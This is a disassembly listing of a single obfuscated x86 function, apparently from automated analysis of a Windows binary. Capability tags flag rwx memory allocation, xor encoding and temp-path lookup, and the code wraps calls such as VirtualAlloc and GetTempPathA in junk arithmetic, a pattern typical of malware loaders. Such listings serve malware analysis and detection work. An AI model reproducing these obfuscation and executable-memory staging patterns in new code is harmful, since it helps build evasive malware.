Function at 0x10004689
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get common file path

Disassembly:
push ecx
push ecx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
add dword [esp + 0xc], 0xfffffa70
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
mov ebp, eax
lea edx, [ecx - 0x150]
push edi
lea edi, [eax + 0xcc]
mov dword [esp + 0x28], edx
mov eax, dword [esp + 0x2c]
add ebx, 0xffffe42c
add eax, 0xffffdf6a
mov dword [esp + 0x14], edi
mov esi, ecx
mov dword [esp + 0x30], eax
xor esi, 0x6bc
mov dword [esp + 0x20], ebx
lea eax, [ebx + 0x23d7]
mov dword [esp + 0x10], esi
xor ebp, 0x3e71
cmp esi, eax
je 0x10004a2f
mov eax, edi
xor eax, 0x36e6
cmp ebp, eax
jle 0x10004858
mov esi, dword [esp + 0x24]
mov eax, dword [esi + 0x124]
xor eax, dword [0x110103b4]
xor eax, 0xffeeac53
mov dword [0x110103b4], eax
mov eax, dword [esi + 0xac]
add eax, 0x1111a
add dword [esi + 0xa0], eax
mov eax, dword [0x110102a4]
mov ecx, dword [eax + 0xf8]
mov eax, dword [esi + 0x108]
cmp eax, dword [esi + 0xdc]
mov dword [esi + 0xe8], ecx
mov eax, dword [0x110102a4]
je 0x1000475b
mov eax, dword [eax + 8]
add eax, ecx
mov dword [esi + 0xe8], eax
jmp 0x10004767
mov eax, dword [eax + 0xdc]
or dword [esi + 0x110], eax
mov eax, dword [esi + 0xec]
cmp eax, dword [0x110102f4]
ja 0x10004788
mov eax, dword [esi + 0x4c]
add eax, 0x4f3aaa
add eax, dword [esi + 0x84]
mov dword [esi + 0x34], eax
jmp 0x10004799
mov eax, dword [esi + 0xfc]
sub eax, 0x2b22b
or dword [0x110102b8], eax
mov eax, dword [0x110102a4]
add dword [eax + 0x34], 0xfffff6ca
mov eax, dword [esi + 0x7c]
mov edx, dword [0x110102a4]
add eax, 0xfff2e867
add eax, dword [esi + 0x38]
imul eax, dword [edx + 0xac]
mov dword [edx + 0xac], eax
cmp dword [0x110102c4], 0x2fe8
jbe 0x100047e7
mov eax, dword [0x110102a4]
mov ecx, dword [eax + 0x88]
mov eax, 0xe32ba
xor ecx, dword [esi + 0x4c]
sub eax, ecx
add dword [esi + 0x34], eax
mov eax, dword [esi + 0xac]
cmp eax, dword [esi + 0xa0]
jae 0x10004800
mov eax, 0x135ee6
sub eax, dword [esi + 0x7c]
add dword [esi + 0x34], eax
mov edx, dword [0x110102dc]
mov eax, 0x1263
sub eax, dword [0x110102e0]
add edx, eax
mov dword [0x110102dc], edx
mov eax, dword [esi + 0x70]
mov ecx, dword [esi + 0x4c]
xor eax, 0x40
push eax
xor ecx, 0x344f1
push ecx
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [eax + 0x5000]
mov eax, dword [esi + 0xfc]
sub eax, 0x131290
mov dword [esi + 0xa4], ecx
mov dword [esi + 0x48], eax
mov dword [esi + 0x9c], ecx
jmp 0x10004a2f
mov ecx, dword [0x110102a4]
mov eax, ebp
mov edi, dword [esp + 0x24]
sub eax, dword [ecx + 0x38]
cmp ebx, eax
jne 0x1000496d
mov esi, dword [esp + 0x30]
mov eax, dword [ecx + 0x128]
add esi, 0xffffde1e
add eax, esi
mov esi, dword [esp + 0x10]
cmp ebx, eax
jae 0x10004945
push 0x20
push 0x2a26
push 0x3806
push 0x1442
push 0x2a20
push 0x1130
push 0x24c1
push 0x1e3c
call fcn.10001c18
mov dword [0x1101041c], eax
add esp, 0x20
mov eax, dword [esp + 0x30]
sub eax, esi
imul eax, dword [esp + 0x28]
push eax
mov eax, dword [0x110102a4]
mov eax, dword [eax + 0xb0]
add eax, dword [edi + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [0x110102a4]
mov eax, ebx
mov esi, dword [edi + 0x10c]
xor eax, 0x1fa9
or esi, dword [edi + 0xf4]
or esi, dword [esp + 0x28]
mov edx, dword [ecx + 0x110]
imul edx, dword [esp + 0x1c]
imul eax, ebx
imul edx, dword [esp + 0x14]
push eax
push ecx
push dword [esp + 0x18]
push edx
push esi
call fcn.1000323c
mov ecx, dword [esp + 0x44]
add esp, 0x14
mov esi, dword [esp + 0x10]
sub ecx, esi
add dword [edi + 0x20], ecx
mov ecx, dword [0x110103b4]
mov edx, dword [esp + 0x28]
add ecx, ebp
xor dword [0x11010324], ecx
mov dword [esp + 0x20], eax
jmp 0x10004967
mov eax, dword [edi + 0x20]
xor eax, dword [edi + 4]
or eax, 0x1a86
cmp ebx, eax
jae 0x1000496d
lea eax, [edx - 0x17ec]
imul eax, dword [edi + 0xac]
mov dword [edi + 0xac], eax
mov ecx, dword [0x110102a4]
mov eax, dword [ecx + 0xa0]
xor eax, dword [edi + 0xfc]
mov dword [esp + 0x1c], ebx
cmp ebx, eax
jb 0x10004a2f
mov eax, dword [esp + 0x20]
sub eax, ebp
mov dword [esp + 0x2c], eax
mov eax, dword [edi + 0xdc]
xor eax, dword [esp + 0x30]
or eax, dword [edi + 0x124]
push eax
mov eax, dword [edi + 0xa0]
add eax, dword [edi + 0x84]
push eax
mov eax, dword [ecx + 0xdc]
add eax, dword [0x110103cc]
and eax, ebx
push eax
push dword [esp + 0x38]
mov eax, dword [edi + 0xb0]
sub eax, dword [esp + 0x30]
push eax
mov eax, dword [edi + 0xf4]
and eax, dword [esp + 0x34]
add eax, 0x1d71
push eax
mov eax, dword [ecx + 0x64]
sub eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, dword [0x110102ac]
and eax, ebp
push eax
mov eax, esi
and eax, dword [edi + 4]
push eax
imul eax, dword [edi + 0xb0], 0x22e9
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x110102a4]
mov edx, dword [esp + 0x1c]
add edx, 3
mov dword [esp + 0x1c], edx
mov eax, dword [ecx + 0xa0]
xor eax, dword [edi + 0xfc]
cmp edx, eax
mov edx, dword [esp + 0x28]
jae 0x1000498f
pop edi
pop esi
pop ebp
lea eax, [ebx + 0x17c5]
pop ebx
pop ecx
pop ecx
ret